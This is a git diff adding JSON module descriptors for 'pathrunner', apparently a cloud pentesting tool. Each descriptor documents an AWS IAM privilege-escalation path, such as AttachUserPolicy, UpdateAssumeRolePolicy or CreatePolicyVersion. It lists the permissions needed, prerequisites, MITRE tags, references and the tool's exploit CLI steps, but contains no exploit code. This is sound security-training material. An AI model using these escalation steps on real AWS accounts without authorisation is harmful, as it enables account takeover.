+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "POLICY_NAME",
+      "description": "Name for the inline policy to add",
+      "required": false,
+      "default": "pathrunner-admin",
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "VERIFY",
+      "description": "Verify escalation by calling iam:ListUsers after (true/false)",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-007",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-007",
+  "gifs": [
+    {
+      "name": "iam-007",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-008.json b/docs/pathrunner/data/modules/iam-008.json
new file mode 100644
index 00000000..2dc559cc
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-008.json
@@ -0,0 +1,100 @@
+{
+  "id": "iam-008",
+  "name": "iam:AttachUserPolicy",
+  "description": "A principal with iam:AttachUserPolicy can attach managed policies to any user they have this permission on. This is frequently exploited for self-escalation by attaching the AdministratorAccess managed policy to the caller's own user.",
+  "category": "self-escalation",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-attachuserpolicy",
+    "exploit/iam_attachuserpolicy"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-008",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:AttachUserPolicy",
+        "description": "Target user must be in Resource section; for self-escalation, must have permission on own user"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A managed IAM policy with elevated privileges must exist in the account",
+      "Principal must be a user (not a role)"
+    ],
+    "lateral": [
+      "A managed IAM policy with elevated privileges must exist in the account",
+      "Principal must be a user (not a role)"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-008",
+      "url": "https://pathfinding.cloud/paths/iam-008"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachuserpolicy--iamattachgrouppolicy"
+    },
+    {
+      "title": "HackingTheCloud - AttachUserPolicy Privilege Escalation",
+      "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamattachuserpolicy"
+    }
+  ],
+  "relatedPaths": [
+    "iam-001",
+    "iam-007",
+    "iam-009",
+    "iam-010"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of the managed policy to attach (defaults to AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "VERIFY",
+      "description": "Verify escalation by calling iam:ListUsers after (true/false)",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-008",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-008",
+  "gifs": [
+    {
+      "name": "iam-008",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-009.json b/docs/pathrunner/data/modules/iam-009.json
new file mode 100644
index 00000000..4a8cefe5
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-009.json
@@ -0,0 +1,121 @@
+{
+  "id": "iam-009",
+  "name": "iam:AttachRolePolicy",
+  "description": "A principal with iam:AttachRolePolicy can attach managed policies to any role they have this permission on. This is frequently exploited for self-escalation by attaching the AdministratorAccess managed policy to the caller's own role.",
+  "category": "self-escalation",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-attachrolepolicy",
+    "exploit/iam_attachrolepolicy"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-009",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:AttachRolePolicy",
+        "description": "Target role must be in Resource section; for self-escalation, must have permission on own role"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListAttachedRolePolicies",
+        "description": "View managed policies attached to the role"
+      },
+      {
+        "permission": "sts:AssumeRole",
+        "description": "Required when starting as a user to assume the target role"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Role must have iam:AttachRolePolicy permission on itself",
+      "If starting as a user, must be able to assume the target role"
+    ],
+    "lateral": [
+      "Role must have iam:AttachRolePolicy permission on itself",
+      "If starting as a user, must be able to assume the target role"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-009",
+      "url": "https://pathfinding.cloud/paths/iam-009"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachrolepolicy--stsassumeroleiamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy"
+    },
+    {
+      "title": "HackingTheCloud - AttachRolePolicy Privilege Escalation",
+      "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamattachrolepolicy"
+    }
+  ],
+  "relatedPaths": [
+    "iam-005",
+    "iam-008",
+    "iam-011"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "ARN of the role to escalate (auto-detected from caller if caller is a role; required when caller is a user)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "ADMIN_POLICY_ARN",
+      "description": "ARN of the managed admin policy to attach (defaults to AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:resource/target-resource"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "VERIFY",
+      "description": "Verify escalation by calling iam:ListUsers after (true/false). Only applies when caller is already a role.",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after assuming role (true/false)",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-009",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-009",
+  "gifs": [
+    {
+      "name": "iam-009",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-010.json b/docs/pathrunner/data/modules/iam-010.json
new file mode 100644
index 00000000..56387801
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-010.json
@@ -0,0 +1,106 @@
+{
+  "id": "iam-010",
+  "name": "iam:AttachGroupPolicy",
+  "description": "A principal with iam:AttachGroupPolicy can attach managed policies to any group they have this permission on. This is frequently exploited by attaching an admin policy to a group the caller is a member of.",
+  "category": "self-escalation",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-attachgrouppolicy",
+    "exploit/iam_attachgrouppolicy"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-010",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:AttachGroupPolicy",
+        "description": "Target group must be in Resource section; for self-escalation, must be a member of that group"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Principal must be a user (not a role)",
+      "Principal must be a member of the target group",
+      "A managed IAM policy with elevated privileges must exist in the account"
+    ],
+    "lateral": [
+      "Principal must be a user (not a role)",
+      "Principal must be a member of the target group"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-010",
+      "url": "https://pathfinding.cloud/paths/iam-010"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachuserpolicy--iamattachgrouppolicy"
+    },
+    {
+      "title": "HackingTheCloud - AttachGroupPolicy Privilege Escalation",
+      "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamattachgrouppolicy"
+    }
+  ],
+  "relatedPaths": [
+    "iam-008",
+    "iam-011"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "GROUP_NAME",
+      "description": "IAM group name to attach the policy to (must be a group the caller belongs to)",
+      "required": true,
+      "mockValue": "target-iam-group"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of the managed policy to attach (defaults to AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "VERIFY",
+      "description": "Verify escalation by calling iam:ListUsers after (true/false)",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-010",
+    "pathrunner set GROUP_NAME target-iam-group",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-010",
+  "gifs": [
+    {
+      "name": "iam-010",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-011.json b/docs/pathrunner/data/modules/iam-011.json
new file mode 100644
index 00000000..36121738
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-011.json
@@ -0,0 +1,106 @@
+{
+  "id": "iam-011",
+  "name": "iam:PutGroupPolicy",
+  "description": "A principal with iam:PutGroupPolicy can attach inline policies to any group they have this permission on. This is often abused to grant additional permissions by attaching an inline admin policy to a group the caller is a member of.",
+  "category": "self-escalation",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-putgrouppolicy",
+    "exploit/iam_putgrouppolicy"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-011",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PutGroupPolicy",
+        "description": "Target group must be in Resource section; for self-escalation, must be a member of that group"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Principal must be a user (not a role)",
+      "Principal must be a member of the target group"
+    ],
+    "lateral": [
+      "Principal must be a user (not a role)",
+      "Principal must be a member of the target group"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-011",
+      "url": "https://pathfinding.cloud/paths/iam-011"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachrolepolicy--stsassumeroleiamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy"
+    },
+    {
+      "title": "HackingTheCloud - PutGroupPolicy Privilege Escalation",
+      "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamputgrouppolicy"
+    }
+  ],
+  "relatedPaths": [
+    "iam-005",
+    "iam-007",
+    "iam-010"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "GROUP_NAME",
+      "description": "IAM group name to add the inline policy to (must be a group the caller belongs to)",
+      "required": true,
+      "mockValue": "target-iam-group"
+    },
+    {
+      "name": "POLICY_NAME",
+      "description": "Name for the inline policy to add",
+      "required": false,
+      "default": "pathrunner-admin",
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "VERIFY",
+      "description": "Verify escalation by calling iam:ListUsers after (true/false)",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-011",
+    "pathrunner set GROUP_NAME target-iam-group",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-011",
+  "gifs": [
+    {
+      "name": "iam-011",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-012.json b/docs/pathrunner/data/modules/iam-012.json
new file mode 100644
index 00000000..9de94359
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-012.json
@@ -0,0 +1,111 @@
+{
+  "id": "iam-012",
+  "name": "iam:UpdateAssumeRolePolicy",
+  "description": "Anyone with iam:UpdateAssumeRolePolicy can modify the trust policy of any role they have this permission on. This is often abused to modify a privileged role's trust policy to allow the attacker to assume it, even without sts:AssumeRole permission.",
+  "category": "principal-access",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-updateassumerolepolicy",
+    "exploit/iam_updateassumerolepolicy"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-012",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:UpdateAssumeRolePolicy",
+        "description": "Target role must be in Resource section"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover target roles"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "View role trust policies"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Target role must have administrative permissions"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-012",
+      "url": "https://pathfinding.cloud/paths/iam-012"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamupdateassumerolepolicy"
+    },
+    {
+      "title": "HackingTheCloud - UpdateAssumeRolePolicy Privilege Escalation",
+      "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamupdateassumerolepolicy"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "TARGET_ROLE",
+      "description": "Name of the IAM role to modify trust policy for",
+      "required": true,
+      "mockValue": "TargetRoleName"
+    },
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "Principal to trust (role/user ARN, account root ARN, service name). Defaults to current caller",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    },
+    {
+      "name": "ASSUME_ROLE",
+      "description": "Attempt to assume the target role after updating trust policy",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM/STS operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after assuming the role",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-012",
+    "pathrunner set TARGET_ROLE TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-012",
+  "gifs": [
+    {
+      "name": "iam-012",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-013.json b/docs/pathrunner/data/modules/iam-013.json
new file mode 100644
index 00000000..5da4024a
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-013.json
@@ -0,0 +1,106 @@
+{
+  "id": "iam-013",
+  "name": "iam:AddUserToGroup",
+  "description": "A principal with iam:AddUserToGroup can add any user to any group they have this permission on. By adding themselves to a group with elevated permissions, they can gain access to the policies attached to that group.",
+  "category": "self-escalation",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-addusertogroup",
+    "exploit/iam_addusertogroup"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-013",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:AddUserToGroup",
+        "description": "Target group must be in Resource section"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListGroups",
+        "description": "Discover groups in the account"
+      },
+      {
+        "permission": "iam:ListAttachedGroupPolicies",
+        "description": "Identify groups with admin permissions"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A group must exist with administrative permissions (e.g., AdministratorAccess)"
+    ],
+    "lateral": [
+      "A group must exist with some level of permissions"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-013",
+      "url": "https://pathfinding.cloud/paths/iam-013"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamaddusertogroup"
+    },
+    {
+      "title": "HackingTheCloud - AddUserToGroup Privilege Escalation",
+      "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamaddusertogroup"
+    }
+  ],
+  "relatedPaths": [
+    "iam-008",
+    "iam-010"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "GROUP_NAME",
+      "description": "IAM group to add the caller to (should have elevated permissions)",
+      "required": true,
+      "mockValue": "target-iam-group"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "VERIFY",
+      "description": "Verify escalation by calling iam:ListUsers after (true/false)",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-013",
+    "pathrunner set GROUP_NAME target-iam-group",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-013",
+  "gifs": [
+    {
+      "name": "iam-013",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-014.json b/docs/pathrunner/data/modules/iam-014.json
new file mode 100644
index 00000000..59b357a9
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-014.json
@@ -0,0 +1,115 @@
+{
+  "id": "iam-014",
+  "name": "iam:AttachRolePolicy + sts:AssumeRole",
+  "description": "Attach an administrative managed policy to a target role, then assume that role to gain the elevated privileges. Requires both iam:AttachRolePolicy on the target role and sts:AssumeRole permission, with the role's trust policy allowing assumption.",
+  "category": "principal-access",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-attachrolepolicy-assumerole",
+    "exploit/iam_attachrolepolicy_assumerole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-014",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:AttachRolePolicy",
+        "description": "Must have access to attach policies to the target role"
+      },
+      {
+        "permission": "sts:AssumeRole",
+        "description": "Must have permission to assume the target role"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available roles"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "View role trust policies"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Target role's trust policy must allow your principal to assume it",
+      "An AWS-managed or customer-managed policy with admin permissions must exist"
+    ],
+    "lateral": [
+      "Target role's trust policy must allow your principal to assume it"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-014",
+      "url": "https://pathfinding.cloud/paths/iam-014"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachrolepolicy--stsassumeroleiamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy"
+    }
+  ],
+  "relatedPaths": [
+    "iam-001",
+    "iam-002",
+    "iam-003"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0008 - Lateral Movement"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "TARGET_ROLE",
+      "description": "ARN of the IAM role to escalate and assume",
+      "required": true,
+      "mockValue": "TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of the managed policy to attach (defaults to AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM/STS operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after assuming the role",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-014",
+    "pathrunner set TARGET_ROLE TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-014",
+  "gifs": [
+    {
+      "name": "iam-014",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-015.json b/docs/pathrunner/data/modules/iam-015.json
new file mode 100644
index 00000000..7aee1111
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-015.json
@@ -0,0 +1,116 @@
+{
+  "id": "iam-015",
+  "name": "iam:AttachUserPolicy + iam:CreateAccessKey",
+  "description": "Attach an administrative managed policy to a target user, then create access keys for that user to gain their elevated permissions. Requires both iam:AttachUserPolicy and iam:CreateAccessKey on the target user.",
+  "category": "principal-access",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-attachuserpolicy-createaccesskey",
+    "exploit/iam_attachuserpolicy_createaccesskey"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-015",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:AttachUserPolicy",
+        "description": "Must have access to attach policies to the target user"
+      },
+      {
+        "permission": "iam:CreateAccessKey",
+        "description": "Must have permission to create access keys for the target user"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListUsers",
+        "description": "Discover available users"
+      },
+      {
+        "permission": "iam:ListAccessKeys",
+        "description": "Check existing access key count"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Target user must have fewer than 2 access keys (AWS limit)",
+      "An AWS-managed or customer-managed policy with admin permissions must exist"
+    ],
+    "lateral": [
+      "Target user must have fewer than 2 access keys (AWS limit)"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-015",
+      "url": "https://pathfinding.cloud/paths/iam-015"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachuserpolicy--iamattachgrouppolicy"
+    }
+  ],
+  "relatedPaths": [
+    "iam-001",
+    "iam-002",
+    "iam-003",
+    "iam-014"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0008 - Lateral Movement"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials"
+    ]
+  },
+  "options": [
+    {
+      "name": "TARGET_USER",
+      "description": "Target IAM username",
+      "required": true,
+      "mockValue": "target-iam-user"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of the managed policy to attach (defaults to AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM/STS operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after successful key creation",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-015",
+    "pathrunner set TARGET_USER target-iam-user",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-015",
+  "gifs": [
+    {
+      "name": "iam-015",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-016.json b/docs/pathrunner/data/modules/iam-016.json
new file mode 100644
index 00000000..577f4dd4
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-016.json
@@ -0,0 +1,118 @@
+{
+  "id": "iam-016",
+  "name": "iam:CreatePolicyVersion + sts:AssumeRole",
+  "description": "Create a new version of a customer-managed policy with admin permissions, then assume a role that has this policy attached. The new policy version takes effect immediately for all principals with that policy.",
+  "category": "principal-access",
+  "services": [
+    "iam",
+    "sts"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-createpolicyversion-assumerole",
+    "exploit/iam_createpolicyversion_assumerole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-016",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:CreatePolicyVersion",
+        "description": "Customer-managed policy must be attached to a role the attacker can assume"
+      },
+      {
+        "permission": "sts:AssumeRole",
+        "description": "Target role must trust the attacking principal"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListPolicyVersions",
+        "description": "List existing policy versions"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover roles with the target policy attached"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A customer-managed policy must be attached to a target role",
+      "Target role's trust policy must allow your principal to assume it"
+    ],
+    "lateral": [
+      "A customer-managed policy must be attached to a target role",
+      "Target role's trust policy must allow your principal to assume it"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-016",
+      "url": "https://pathfinding.cloud/paths/iam-016"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamcreatepolicyversion"
+    }
+  ],
+  "relatedPaths": [
+    "iam-001",
+    "iam-007",
+    "iam-008",
+    "sts-001"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0008 - Lateral Movement"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of the customer-managed policy to create a new version of",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    },
+    {
+      "name": "TARGET_ROLE",
+      "description": "ARN of the IAM role to assume (must have the policy attached)",
+      "required": true,
+      "mockValue": "TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM/STS operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after assuming the role",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-016",
+    "pathrunner set POLICY_ARN arn:aws:iam::123456789012:policy/TargetPolicy",
+    "pathrunner set TARGET_ROLE TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-016",
+  "gifs": [
+    {
+      "name": "iam-016",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
